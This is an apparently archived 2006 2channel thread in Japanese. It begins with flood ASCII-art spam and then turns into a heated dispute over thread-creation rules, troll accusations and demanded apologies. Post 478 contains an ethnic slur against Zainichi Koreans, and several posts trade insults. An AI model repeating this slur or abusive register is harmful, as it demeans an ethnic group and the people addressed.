欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

435 :日出づる処の名無し:2006/05/07(日) 13:47:25 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

436 :日出づる処の名無し:2006/05/07(日) 13:49:50 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

437 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:51:27 ID:U+hDIbDw
>>430-436
そろそろ規制議論に報告できるだけの量たまってきてるぞ。
その辺考えておこうな。

438 :日出づる処の名無し:2006/05/07(日) 13:51:35 ID:qsa/ErCy
1 ◆85KgNR48dA
船虫Jr ◆.Tg2yBtH66
同期の桜@極東 ◆DoukiJieKQ

お前らうざいからこの板から出てけ

439 :日出づる処の名無し:2006/05/07(日) 13:52:48 ID:gfX74EbV
>>426
それもいいが、もうルールから改正して>>1の行為を完全違法にしようぜ。
そっちの方が速いわ。

ルール

★スレッド作成及び利用上の注意★
・削除ガイドラインをよく読んでスレッドを作成してください。
・一つの話題につき重複・既出スレッドを立てないでください。
・極東板でニューススレ、特定個人を語るスレを立てるときは、必ず根拠となるソースを掲げて下さい。
・糞スレ、度を越した煽り、荒らしは構わず徹底放置・速やかに削除依頼を出してください。

★極東板ではこれらの行為は禁止です★
 ◎著しく不謹慎・不道徳・下品・卑猥・呪詛的なタイトルを使用したスレッド
 ◎連続コピペや煽り目的のアスキーアート
 ◎個人のプライバシーに関する書き込みをする


にこれを追加↓

★議論する時に
・長文を張る場合も、3レス以上の長文には出来るだけしないようにしましょう。
 読む人の事も考えましょう。
・話題が誰も相手にされなかったからといって何度も立て続けるのは止めましょう。

てのはどうでしょ

440 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:53:52 ID:U+hDIbDw
>>438
いやですー(キッパリ

441 :日出づる処の名無し:2006/05/07(日) 13:55:32 ID:gfX74EbV
今はとりあえず>>1を完全規制することだ。
削除人発動が速やかにできるようにな。

442 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:57:55 ID:U+hDIbDw
>>441
その前に初心者の質問板のスレ立て代行スレの方に
わかってもらうほうが早いと思いますよん。

443 :日出づる処の名無し:2006/05/07(日) 14:00:11 ID:gfX74EbV
確かに早いけど、もう既に前にも言ってるんで
今回は強力に言わないと駄目だろ。

2つ同時に行っても問題は無いし

444 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 14:02:44 ID:U+hDIbDw
>>443
ローカルの改正は死力を尽くさないと
いけなくなるんで大変なんですよw

445 :駿河零音 ◆IGfWSfVAUs :2006/05/07(日) 14:03:14 ID:PsAfojSx
オレもこのスレの
住人申請しようかな。

446 :日出づる処の名無し:2006/05/07(日) 14:04:34 ID:HnXWy3aw
糞スレ認定。
しかも>>1まで居る。
内容の偏ったコペピ垂れ流して何も知らない初心者を洗脳して
やめろって言われてるのに言った奴を小ばかする。
やっぱりここに巣食ってたのか。

447 :日出づる処の名無し:2006/05/07(日) 14:08:40 ID:gfX74EbV
アクションだけでもとりあえず効果はある。
サヨク系の荒らしのスレ立て荒らし攻撃によりルール改正の動議が出れば
他板にも影響するし。
ただ、この手の荒らしは右にもいたから、対応はしたいのよね。

そいつも、こいつの「敵国心」とかと同じように「環インド洋派」とか実在しない団体や単語作って
それもこいつと同じように誰も相手にしなかったから延々とスレ立て続けたわけよ。

448 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 14:12:03 ID:U+hDIbDw
あーインド洋スレあったねー

私的には「荒らしは構わず徹底放置・速やかに削除依頼を出してください。」
これを徹底したいねー。

構うから盛り上がってるって勘違いするわけで。
出来ないのが悩みの種なんだが。

449 :1 ◆85KgNR48dA :2006/05/07(日) 14:28:47 ID:1z4+jDHh
>>417
> 誰がおまいごとき待ってるかいw
> たまたま見た時間が合っただけだ。

【たまたま見た時間が合っただけ】ってなんだよ。
おもしろい言い訳する奴だな。

>>413 12:42:45 お前
>>414 13:27:33 俺様
>>415 13:28:50 お前 即レス

お前が俺様をじっと待っていたのは、明らかだろ。

450 :1 ◆85KgNR48dA :2006/05/07(日) 14:29:29 ID:1z4+jDHh
同期の桜@極東 ◆DoukiJieKQへ

初心者の質問板
http://etc3.2ch.net/qa/
スレッドを立てられない奴はここへ書け!271
http://etc3.2ch.net/test/read.cgi/qa/1145264116/1
> ★このスレはスレッドを立てられない人が協力しあうスレです★
> ★ガイドライン・各板のルールを守って、ギブアンドテイクで(・∀・)!★
> ☆トラブル防止の為それぞれ板の依頼・自治スレッドを活用してください。

このように、ガイドラインがあるにもかかわらず、
お前はスレ違い発言を繰り返している。

ガイドラインを無視したお前のスレ違い発言
http://etc3.2ch.net/test/read.cgi/qa/1145264116/752
http://etc3.2ch.net/test/read.cgi/qa/1145264116/759
http://etc3.2ch.net/test/read.cgi/qa/1145264116/759

お前に対する苦情
http://etc3.2ch.net/test/read.cgi/qa/1145264116/754
http://etc3.2ch.net/test/read.cgi/qa/1145264116/756
http://etc3.2ch.net/test/read.cgi/qa/1145264116/758
http://etc3.2ch.net/test/read.cgi/qa/1145264116/760
http://etc3.2ch.net/test/read.cgi/qa/1145264116/761

初心者の質問板に行って、速やかに謝罪文を書いてこい!
荒らし野郎。

俺様に意見するのは、その後だ。

451 :1 ◆85KgNR48dA :2006/05/07(日) 14:31:01 ID:1z4+jDHh
>>450訂正

ガイドラインを無視したお前のスレ違い発言
http://etc3.2ch.net/test/read.cgi/qa/1145264116/752
http://etc3.2ch.net/test/read.cgi/qa/1145264116/759
http://etc3.2ch.net/test/read.cgi/qa/1145264116/762

お前に対する苦情
http://etc3.2ch.net/test/read.cgi/qa/1145264116/754
http://etc3.2ch.net/test/read.cgi/qa/1145264116/756
http://etc3.2ch.net/test/read.cgi/qa/1145264116/758
http://etc3.2ch.net/test/read.cgi/qa/1145264116/760
http://etc3.2ch.net/test/read.cgi/qa/1145264116/761



452 :日出づる処の名無し:2006/05/07(日) 14:32:41 ID:gfX74EbV
ガイドラインと各板のルールを守ってギブ&テイクしろと書かれてるが
スレッドを立てる先の極東板のルールを彼等は守ってません。

むしろ荒らし攻撃をうけたと判断してもいいんですが。

もちろん火種はお前ね。

453 :1 ◆85KgNR48dA :2006/05/07(日) 14:35:39 ID:1z4+jDHh
>>439
> それもいいが、もうルールから改正して>>1の行為を完全違法にしようぜ。

個人の排除を理由に、ローカルルールの変更は出来ません。
申請は自由だが。やってみ。
こんな板、いつまでもいる気もないし。

454 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 14:36:23 ID:U+hDIbDw
>>449
他のスレも見てるんでな。
スレ取得した時点でたまたまレスがついてたからレスしただけだが?

>>450
そのガイドラインのどこを無視したのかを詳しく。

しかも2発言を3発言に増やさないでくれる?w

少なくともこの3つ書いてるのはおまいだろw
http://etc3.2ch.net/test/read.cgi/qa/1145264116/756
http://etc3.2ch.net/test/read.cgi/qa/1145264116/758
http://etc3.2ch.net/test/read.cgi/qa/1145264116/760

これはおまいにも当てはまることだしー
http://etc3.2ch.net/test/read.cgi/qa/1145264116/761

また要求か?
極東板の荒らしである根拠はどうした?
とっととよこせよ。

455 :日出づる処の名無し:2006/05/07(日) 14:38:47 ID:gfX74EbV
「荒らしは構わず徹底放置・速やかに削除依頼してください」は
どこの板でも当たり前だからそうするようにしむけないと駄目ではあるのだが、

こういう>>449-451や環インド洋のようなキチガイを
ずっと飼い続ける必要はない。あれはただのプロパガンタだ。

>>453
個人特定はしてないよ?
個人特定ってのはお前を名指しにすることだ。分かる?



456 :1 ◆85KgNR48dA :2006/05/07(日) 14:39:23 ID:1z4+jDHh
>>452
> スレッドを立てる先の極東板のルールを彼等は守ってません。

板違いかどうかは、スレッドを立てた後の、運営側の判断。
代行スレで異議申し立ては、場違い。
第一、当該スレが、板違いなわけではない。
単にスレが気に入らないといった一部掲示板参加者の都合で
スレ立て妨害することは問題。

457 :日出づる処の名無し:2006/05/07(日) 14:41:03 ID:gfX74EbV
>>456
自画自賛とはよくいったもんだな

458 :日出づる処の名無し:2006/05/07(日) 14:41:40 ID:qsa/ErCy
>>452
スレッド自体はGL違反・LR違反ではない
GL違反・LR違反をしているのは1 ◆85KgNR48dAのレス

459 :日出づる処の名無し:2006/05/07(日) 14:41:59 ID:gfX74EbV
・長文を張る場合も、3レス以上の長文には出来るだけしないようにしましょう。
 読む人の事も考えましょう。
・話題が誰も相手にされなかったからといって何度も立て続けるのは止めましょう。

 極めて常識的な事言ってるつもりですが、なんか問題あります?

460 :日出づる処の名無し:2006/05/07(日) 14:44:13 ID:gfX74EbV
>>458
それだけではなく、「スレ立て荒らし」にも相当するのでスレッドも該当する。

但し該当するのは3番目以降の該当レス。
本当は1スレで様子見るけど2000レス程度なら様子見るから。

2000レスでも誰も賛同しなけりゃもう無理でしょ?


461 :1 ◆85KgNR48dA :2006/05/07(日) 14:44:30 ID:1z4+jDHh
>>454
> 他のスレも見てるんでな。
> スレ取得した時点でたまたまレスがついてたからレスしただけだが?

もういい。苦しい言い訳はみっともない。
あとは、お前がキチガイかどうかは、掲示板閲覧者の判断だな。

> >>450
> そのガイドラインのどこを無視したのかを詳しく。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
☆トラブル防止の為それぞれ板の依頼・自治スレッドを活用してください。

> しかも2発言を3発言に増やさないでくれる?w
> 少なくともこの3つ書いてるのはおまいだろw

俺は、758だけ。
当該板で、迷惑を感じてるのが俺だけだと思っていることがおめでたい。

> また要求か?
> 極東板の荒らしである根拠はどうした?
> とっととよこせよ。

俺様に意見するのは、その後だ。と言っている。
何度俺様に言わせるつもりだ?

【再度】
初心者の質問板に行って、速やかに謝罪文を書いてこい!
荒らし野郎。


462 :                :2006/05/07(日) 14:46:13 ID:gfX74EbV
と荒らしが申しております

463 :1 ◆85KgNR48dA :2006/05/07(日) 14:47:50 ID:1z4+jDHh
>>458
> スレッド自体はGL違反・LR違反ではない
> GL違反・LR違反をしているのは1 ◆85KgNR48dAのレス

じゃあ、レス削除依頼しろよ。こんなところで、ごたごた言わず。
レス削除依頼も出ていないようだが?
早く出して来い。命令だ。

464 :日出づる処の名無し:2006/05/07(日) 14:51:07 ID:gfX74EbV
スレッドごと消せるから無問題

465 :日出づる処の名無し:2006/05/07(日) 14:51:53 ID:gfX74EbV

それよりもだ。

てめえ、他人に迷惑かかってるってわかってる?


466 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 14:52:28 ID:U+hDIbDw
>>461
ハァ?これ↓は
>☆トラブル防止の為それぞれ板の依頼・自治スレッドを活用してください。

1、代行スレとそれぞれの板に依頼スレがあった場合に重複になる可能性がある。
2、代行スレに依頼されたスレが当該板の自治スレで問題になっている可能性がある。

だから、そういったトラブルに巻き込まれないために
依頼・自治スレッドを活用しろといわれてるんだが?
そんなことも読めないのか?

>俺は、758だけ。
>当該板で、迷惑を感じてるのが俺だけだと思っていることがおめでたい。
当該板に何ぞまったく行かないコテが1レス書いただけで
極東板の荒らし認定できるやつがいたら見てみたいねぇw

>俺様に意見するのは、その後だ。と言っている。
>何度俺様に言わせるつもりだ?
何度でも言ってやるよw
極東板の荒らしである根拠をよこせ。
あるんだったらとっとと出せば?

467 :日出づる処の名無し:2006/05/07(日) 14:54:54 ID:gfX74EbV
まあ年に一人はこういうバカが出てくるから
ルール改正とかで絞め殺そうや。

宣伝に極東板が使われてたらたまったもんじゃねえし

468 :1 ◆85KgNR48dA :2006/05/07(日) 15:02:12 ID:1z4+jDHh
>>466
> >☆トラブル防止の為それぞれ板の依頼・自治スレッドを活用してください。
> 1、代行スレとそれぞれの板に依頼スレがあった場合に重複になる可能性がある。
> 2、代行スレに依頼されたスレが当該板の自治スレで問題になっている可能性がある。
> だから、そういったトラブルに巻き込まれないために
> 依頼・自治スレッドを活用しろといわれてるんだが?

ここでのお前の発言を問題視しているわけじゃない。
お前は代行スレで異議申し立てという場違いを起こし、
当該スレで、苦情を言われたんだろ?

> 当該板に何ぞまったく行かないコテが1レス書いただけで
> 極東板の荒らし認定できるやつがいたら見てみたいねぇw

極東板住人に限らず、代行スレで異議申し立てという場違いの書き込み
ぐらいはわかるだろう。
極東板住人らしき書き込みは、確かに2つあるが、そのうちひとつだけが俺様。

> 極東板の荒らしである根拠をよこせ。
> あるんだったらとっとと出せば?

俺様に意見するのは、その後だ。と言っている。
何度俺様に言わせるつもりだ?

【再度】
初心者の質問板に行って、速やかに謝罪文を書いてこい!
荒らし野郎。


469 :日出づる処の名無し:2006/05/07(日) 15:04:43 ID:gfX74EbV
2レス3レスで荒らし認定とはおめでてーな


今俺たちは2000レス以上も荒らし行為した上スレ立てあらしまでした人間
追ってるんだが

470 :1 ◆85KgNR48dA :2006/05/07(日) 15:06:06 ID:1z4+jDHh
>>469
> 今俺たちは2000レス以上も荒らし行為した上スレ立てあらしまでした人間
> 追ってるんだが

2000レス以上も荒らし行為って何?


471 :日出づる処の名無し:2006/05/07(日) 15:06:50 ID:gfX74EbV
荒らしとして言ってほしければ
最低50レス以上確実に動機のサクラがレスした証拠をもってこい

472 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 15:09:28 ID:U+hDIbDw
>>468
【代行者さんへ】※ 強制節穴板注意
・立てるスレの内容には責任を持ってください。代行でも叩かれます。
・類似スレや重複スレが立っていないかどうか、必ず確認してください。
・ガイドラインやローカルルールに抵触するスレッドは立てないように。

重複スレが消化しきってない状態で立ててるわけだから向こう側にも確認責任が及ぶわけだ。
立てるスレの内容について責任もって立ててるようにはまったく見えないが?
異議申し立てをしてはいけないなんてことは書いてないわけだしな。

>極東板住人に限らず、代行スレで異議申し立てという場違いの書き込み
>ぐらいはわかるだろう。
>極東板住人らしき書き込みは、確かに2つあるが、そのうちひとつだけが俺様。
だから、場違いな書き込みを1つしただけでどうやったら荒らし認定できるんだよw
そもそもわしは荒らし認定されるほど他のスレに書き込まないんでね。
んなことが出来るのはおまいだけー。

>俺様に意見するのは、その後だ。と言っている。
>何度俺様に言わせるつもりだ?
ないんだろ?あったら出せってw

473 :日出づる処の名無し:2006/05/07(日) 15:10:03 ID:gfX74EbV
さらに言えば、荒らし認定ってのは初心者の質問板の自治の範囲内なので
50レス以上無意味なレスした証拠のみならず向こうの自治の公式なコメントもあって、

その上で極東板自治として初心者の質問板自治の荒らし対応として
正式に対応した事を見ないと、

向こうの自治権の侵害になる。向こうの荒らしは向こうで対処するのが当然。

474 :日出づる処の名無し:2006/05/07(日) 15:17:46 ID:gfX74EbV
ただね。

2レス・3レス程度を極東板の住人が間違えたかなんか知らないが書いたから荒らし認定とか
向こうの板がしてきたら、それ以上の被害こちらは>>1の為に受けてるんで

まず間違いなく戦争になるよ。運営で

475 :1 ◆85KgNR48dA :2006/05/07(日) 15:17:51 ID:1z4+jDHh
>>472
> 重複スレが消化しきってない状態で立ててるわけだから向こう側にも確認責任が及ぶわけだ。

通常、950超えると、次スレ立ては問題ありません。
終了してからは、次スレのアナウンスが出来ないからです。
無理にスレ埋め立ても必要ありません。
レスが無ければ、自然と落ちるみたいです。

476 :1 ◆85KgNR48dA :2006/05/07(日) 15:19:01 ID:1z4+jDHh
>>474
> 2レス・3レス程度を極東板の住人が間違えたかなんか知らないが書いたから荒らし認定とか

つべこべ言わず、謝罪文を書く必要がある。

477 :1 ◆85KgNR48dA :2006/05/07(日) 15:23:48 ID:1z4+jDHh
>>472
> 異議申し立てをしてはいけないなんてことは書いてないわけだしな。

ガイドラインに書いている。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
☆トラブル防止の為それぞれ板の依頼・自治スレッドを活用してください。

ガイドラインに書いてなくても当然でしょう。
異議申し立てを書けば、当然、それに対する異議も付き、
その場で議論になる。

478 :日出づる処の名無し:2006/05/07(日) 15:23:55 ID:GkimXvgc
在日キモすぎw

479 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 15:24:39 ID:U+hDIbDw
>>475
まだ自然に落ちてないんだからきっちり1000レスまで使えや。
うちの板はそこまでスレッド保持数多くないんでな。

それと、ただメールの内容を貼り付けてるだけなら
「チラシの裏」にでも書いとけ。
メール貼り付けるだけならGL4で削除依頼できるから。

GL4
全く情報価値の無いもの・真面目な議論や話し合いを目的としないもの・板の趣旨よりネタを優先するもの・
客観的な意見を求めないもの・等の、複数の状態に当てはまる時、削除または移動対象になることがあります。

議論するならちゃんとしろ。
メールの貼り付けに終始するな。

480 :日出づる処の名無し:2006/05/07(日) 15:25:54 ID:gfX74EbV
>>476

謝罪は断る。

文句があるなら運営に言え。
仮にお前のサクラに対する言い分が全部正しかったとしても、
たった2・3レス程度の行為で荒らし認定とかするのなら
むしろ運営板で戦ってお前のした行為を全板に知らしめてやる。

という事で、2・3レス書き込みした程度で荒らしと認定するのなら
初心者の質問板の自治の承認と宣戦布告の詔を得て来い。

んじゃ頑張って。

481 :1 ◆85KgNR48dA :2006/05/07(日) 15:26:13 ID:1z4+jDHh
>>472
> だから、場違いな書き込みを1つしただけでどうやったら荒らし認定できるんだよw

1つだろが2つだろうが、場違いな書き込みをしたことは、
お前は認めているわけだから、行って謝罪してこい。命令だ。

482 :日出づる処の名無し:2006/05/07(日) 15:28:04 ID:gfX74EbV
>>481

いいから向こうの自治に正式に同期の桜が荒らしとして行ったという
向こうのコテ等も含めた正式な苦情もってこいや。



483 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 15:29:05 ID:U+hDIbDw
>>481
何でおまいに命令されなきゃいかんのだ?w

しかも「場違いな書き込みをひとつしただけで荒らし認定がどうやったら出来るんだ?」と
聞いているものに対してお前が認めてるって意味わかんないぞw

484 :1 ◆85KgNR48dA :2006/05/07(日) 15:29:36 ID:1z4+jDHh
>>480
> という事で、2・3レス書き込みした程度で荒らしと認定するのなら
> 初心者の質問板の自治の承認と宣戦布告の詔を得て来い。
> んじゃ頑張って。

2・3レスの書き込みだけを言っているのではない。
今後の再発の問題もあり、前科の疑いもある。
きっちりと詫びなければ、誰も改心したとは認めないだろう。

485 :日出づる処の名無し:2006/05/07(日) 15:30:36 ID:gfX74EbV
>>484

いいから向こうの自治に正式に同期の桜が荒らしとして行ったという
向こうのコテ等も含めた正式な苦情もってこいやっつってんだろ。

運営でやろうや運営でよ


486 :1 ◆85KgNR48dA :2006/05/07(日) 15:31:10 ID:1z4+jDHh
>>482
> いいから向こうの自治に正式に同期の桜が荒らしとして行ったという
> 向こうのコテ等も含めた正式な苦情もってこいや。

同期の桜が、ここで悪意があったと認めているので、
あとは、同期の桜が当該板で謝罪するかどうかだろ。

487 :日出づる処の名無し:2006/05/07(日) 15:32:14 ID:gfX74EbV
>>486

名前もろくに見れないんかお前

488 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 15:33:05 ID:U+hDIbDw
>>484
前科?あるんだったらだから持って来いってw
そらー向こうさんが間違ったことしたら言いに行くよ。
それがこっちのためでもあるし、向こうのためでもあるし。

489 :日出づる処の名無し:2006/05/07(日) 15:34:29 ID:RrX1TG/e
>>486
はあ?

490 :1 ◆85KgNR48dA :2006/05/07(日) 15:35:14 ID:1z4+jDHh
>>483
> しかも「場違いな書き込みをひとつしただけで荒らし認定がどうやったら出来るんだ?」と
> 聞いているものに対してお前が認めてるって意味わかんないぞw

どうでもいいから、【場違いな書き込みをひとつした】と、おまえ自身が
認めている以上、謝罪が当然だろう。
逃げるなよ。お前のした行動だ。

【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑を
している。

【場違いな書き込みをした】お前が俺様に、偉そうな口を聞く資格はない。
この問題が解決した後には、俺には関わるな、レスするな。

491 :日出づる処の名無し:2006/05/07(日) 15:37:03 ID:gfX74EbV
>>490

つまり、お前が
ID制がある事も分からないアホか
勝手に証拠も何もなくID:U+hDIbDwと俺と同じだと考えてるのか
ホームラン級のバカかどれかか全部かだろ?


492 :日出づる処の名無し:2006/05/07(日) 15:39:27 ID:fiFFh0FD
ひょっとして、
証拠も無いのに前科があるとでも?



493 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 15:42:21 ID:U+hDIbDw
>>490
一般的にと前置きがほしかったか?

「一般的に場違いな書き込みをひとつしただけで
荒らし認定がどうやったら出来るんだ?」

>【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑を
>している。
多くのってどのくらい?アンケートとってきて。

>【場違いな書き込みをした】お前が俺様に、偉そうな口を聞く資格はない。
>この問題が解決した後には、俺には関わるな、レスするな。
偉そうに口聞いてんのはどっちかなぁ。
おまいさん教員だっけ?PTAだの生徒だのって言ってたよな。
先生ってそういう感じなんだー。ふーん。

言っとくが、構うなといわれると人間構いたくなるのが心情なんだなぁ。
